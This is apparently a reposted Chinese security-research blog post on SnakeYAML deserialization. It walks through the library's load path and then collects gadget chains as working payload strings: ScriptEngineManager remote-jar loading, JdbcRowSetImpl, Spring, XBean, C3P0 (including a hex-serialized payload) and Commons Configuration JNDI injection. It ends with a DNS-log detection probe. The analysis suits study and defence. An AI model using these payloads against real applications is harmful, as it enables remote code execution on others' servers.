SnakeYAML反序列化及可利用Gadget

admin 2024年10月29日00:00:02评论8 views字数 8535阅读28分27秒阅读模式

SnakeYAML反序列化及可利用Gadget

SnakeYaml简介

YAML是”YAML Ain’t a Markup Language”(YAML不是一种标记语言)的递归缩写,是一个可读性高、用来表达数据序列化的格式,类似于XML但比XML更简洁。

在Java中,有一个用于解析YAML格式的库,即SnakeYaml。

SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。

当然在分析之前还得了解YAML的语法格式,具体可以百度看看,这里不放了

使用SnakeYaml进行序列化和反序列化

SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

  • Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
  • Yaml.dump():将一个对象转化为yaml文件形式;

Yaml.load(),经过我的测试当不存在某个属性,或者存在属性但是不是由public修饰的时候会调用set方法,这里不想放图了自己玩玩吧

123456789101112131415161718192021222324252627282930313233343536373839
public class TestBean {//    static {//        try {//            Runtime.getRuntime().exec("open -na Calculator");//        }catch (Exception e){////        }//    }    protected String name;    private String test;    public String tt;    String abc;    public TestBean(){        System.out.println("构造方法");    }    public void setName(String name) {        System.out.println("setName");        this.name = name;    }    public void setTest(String test) {        System.out.println("setTest");        this.test = test;    }    public void setTt(String tt) {        System.out.println("setTt");        this.tt = tt;    }    public void setAbc(String abc) {        System.out.println("setAbc");        this.abc = abc;    }}

之后调用

12
Yaml yaml = new Yaml();yaml.load("!!TestBean {name: abc, test: aa, tt: jj, abc: def}");

至于为什么Public不能调用set方法,简单说一下在后面调用constructJavaBean2ndStep()函数,其中会获取yaml格式数据中的属性的键值对,然后调用propert.set()来设置新建的目标对象的属性值,而这个Property的设置在org.yaml.snakeyaml.introspector.PropertyUtils#getPropertiesMap

SnakeYAML反序列化及可利用Gadget

可以看到这个如果是Public修饰的话,后面会调用org.yaml.snakeyaml.introspector.FieldProperty#get,这个只是反射获取值

SnakeYAML反序列化及可利用Gadget

而如果是MethodProperty.set()函数,则就是通过反射机制来调用目标类name属性的setter方法来进行属性值的设置

SnakeYaml反序列化过程调试分析

当然既然SnakeYaml这个库也不认为反序列化一些类是漏洞那么我也不会去详细的了解每一步,至少感觉做到知道有这个类以后能够如何利用了

在load()函数中会先生成一个StreamReader,将yaml数据通过构造函数赋给StreamReader,再调用loadFromReader()函数:

SnakeYAML反序列化及可利用Gadget

在loadFromReader()函数中,调用了BaseConstructor.getSingleData()函数,此时type为java.lang.Object,指定从yaml格式数据中获取数据类型是Object类型:

SnakeYAML反序列化及可利用Gadget

跟进getSingleData()函数中,先创建一个Node对象(其中调用getSingleNote()会根据流来生成一个文件,即将字符串按照yaml语法转为Node对象),然后判断当前Node是否为空且是否Tag为空,若不是则判断yaml格式数据的类型是否为Object类型、是否有根标签,这里都判断不通过,最后返回调用constructDocument()函数的结果:

SnakeYAML反序列化及可利用Gadget

在getClassForNode()函数中,先根据tag取出className为目标类,然后调用getClassForName()函数获取到具体的类:

SnakeYAML反序列化及可利用Gadget

还有个小细节就是getClassForName可以初始化静态块里面的函数

SnakeYAML反序列化及可利用Gadget

调用construct()函数实例化类对象

SnakeYAML反序列化及可利用Gadget

进一步跟进constructJavaBean2ndStep()函数,其中会获取yaml格式数据中的属性的键值对,然后调用propert.set()来设置新建的目标对象的属性值,这里上面已经提过了也就没啥好说的了,整个利用链也有了,分析完毕

可利用的Gadget

1.利用SPI机制-基于ScriptEngineManager利用链

1
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1/a.jar"]]]]

利用栈

12345678910111213141516171819
newInstance:396, Class (java.lang)nextService:380, ServiceLoader$LazyIterator (java.util)next:404, ServiceLoader$LazyIterator (java.util)next:480, ServiceLoader$1 (java.util)initEngines:122, ScriptEngineManager (javax.script)init:84, ScriptEngineManager (javax.script)<init>:75, ScriptEngineManager (javax.script)newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)newInstance:62, NativeConstructorAccessorImpl (sun.reflect)newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)newInstance:423, Constructor (java.lang.reflect)construct:557, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)construct:341, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)constructObject:182, BaseConstructor (org.yaml.snakeyaml.constructor)constructDocument:141, BaseConstructor (org.yaml.snakeyaml.constructor)getSingleData:127, BaseConstructor (org.yaml.snakeyaml.constructor)loadFromReader:450, Yaml (org.yaml.snakeyaml)load:369, Yaml (org.yaml.snakeyaml)main:10, Demo (BasicKnow.SnakeymlUnser)

2.JdbcRowSetImpl

1
String poc = "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"ldap://localhost:1389/Exploit\"\n autoCommit: true";

当然也可以写成

1
String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/Exploit\", autoCommit: true}";

我们知道利用链是setDataSourceName->setAutoCommit,

可以看到修饰符

1
private String dataSource;

因此可以触发,不多说了太简单了

3.Spring PropertyPathFactoryBean

简单测试下能拿下整个版本到2.6.3最新版都行,不过也很好理解

12345
String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +" targetBeanName: \"rmi://127.0.0.1:1099/Exploit\"\n" +" propertyPath: y4tacker\n" +" beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +"  shareableResources: [\"rmi://127.0.0.1:1099/Exploit\"]";

或者一行拿下

1
String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: \"rmi://127.0.0.1:1099/Exploit\", propertyPath: \"y4tacker\", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: [\"rmi://127.0.0.1:1099/Exploit\"]}}";

可以看到在org.springframework.beans.factory.config.PropertyPathFactoryBean#setBeanFactory

SnakeYAML反序列化及可利用Gadget

这里网上流传版本找到个org.springframework.jndi.support.SimpleJndiBeanFactory,其调用getBean的时候会触发JNDI注入,当然这里还有个限制是this.beanFactory.isSingleton(this.targetBeanName)

SnakeYAML反序列化及可利用Gadget

也很好绕过设置shareableResources即可

4.Apache XBean

依赖,当然版本没限制

12345
<dependency>  <groupId>org.apache.xbean</groupId>  <artifactId>xbean-naming</artifactId>  <version>4.20</version></dependency>
1
String poc = "!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"foo\",!!javax.naming.Reference [\"foo\", \"TouchFile\", \"http://yourVps/\"],!!org.apache.xbean.naming.context.WritableContext []]]";

原因在于org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding继承了Binding

SnakeYAML反序列化及可利用Gadget

如果能触发其toString函数即可调用org.apache.xbean.naming.context.ContextUtil.ReadOnlyBinding#getObject,在调用到org.apache.xbean.naming.context.ContextUtil#resolve时

看到这个就不陌生了,太熟悉了,甚至不允许远程调用的时候也能尝试找ObjectFactory绕过

SnakeYAML反序列化及可利用Gadget

5.C3P0 JndiRefForwardingDataSource

比较简单放个poc就行了

123
String poc = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +"  jndiName: \"rmi://localhost/Exploit\"\n" +"  loginTimeout: 0";

或者

1
String poc = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource  {jndiName: \"rmi://localhost/Exploit\",  loginTimeout: \"0\"}";

不过还是简单说一下,com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout

调用了this.inner()里面又调用了this.dereference(),最终触发JNDI注入

SnakeYAML反序列化及可利用Gadget

6.C3P0 WrapperConnectionPoolDataSource

123
String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +"  userOverridesAsString: \"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383030302f740003466f6f;\"";

很简单C3P0的二次反序列化payload,不多说了

7.Apache Commons Configuration

引入依赖测试

12345
<dependency>    <groupId>commons-configuration</groupId>    <artifactId>commons-configuration</artifactId>    <version>1.10</version></dependency>

触发payload是这个

12
String poc = "set:\n" +                "    ? !!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"rmi://127.0.0.1:1099/Exploit\"]]";

网上搜了一下

1
? 号: 针对较为复杂的对象格式

但是在理解了原理以后才知道,搞复杂了,实际上下面这个payload也可以

1
poc = "!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"rmi://127.0.0.1:1099/Exploit\"]]: 1";

主要是触发的时候是利用key调用hashCode方法所产生的利用链,还是简单说下调用链吧

在对ConfigurationMap调用hashCode的时候实际上是执行了,java.util.AbstractMap#hashCode

1234567
public int hashCode() {    int h = 0;    Iterator<Entry<K,V>> i = entrySet().iterator();    while (i.hasNext())        h += i.next().hashCode();    return h;}

之后会调用org.apache.commons.configuration.ConfigurationMap#entrySet的iterator方法,也就是org.apache.commons.configuration.ConfigurationMap.ConfigurationSet#iterator

之后就可以配合JNDIConfiguration实现jndi注入

1234
lookup:417, InitialContext (javax.naming)getBaseContext:452, JNDIConfiguration (org.apache.commons.configuration)getKeys:203, JNDIConfiguration (org.apache.commons.configuration)getKeys:182, JNDIConfiguration (org.apache.commons.configuration)

探测SnakeYAML

突然想到一个新的探测payload,之前上面有一个SPI那个链子可以有通过URLClassloader检测

1
String poc = "!!java.net.URL [null, \"[http://osrwbf.dnslog.cn](http://osrwbf.dnslog.cn/)\"]: 1"; 

这个的话主要是因为SnakeYAML在解析带键值对的集合的时候会对键调用hashCode方法因此会触发DNS解析,因此通过构造URL对象后面简单加个: 1让他成为一个mapping

- source:y4tacker

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:00:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SnakeYAML反序列化及可利用Gadgethttps://cn-sec.com/archives/3315045.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息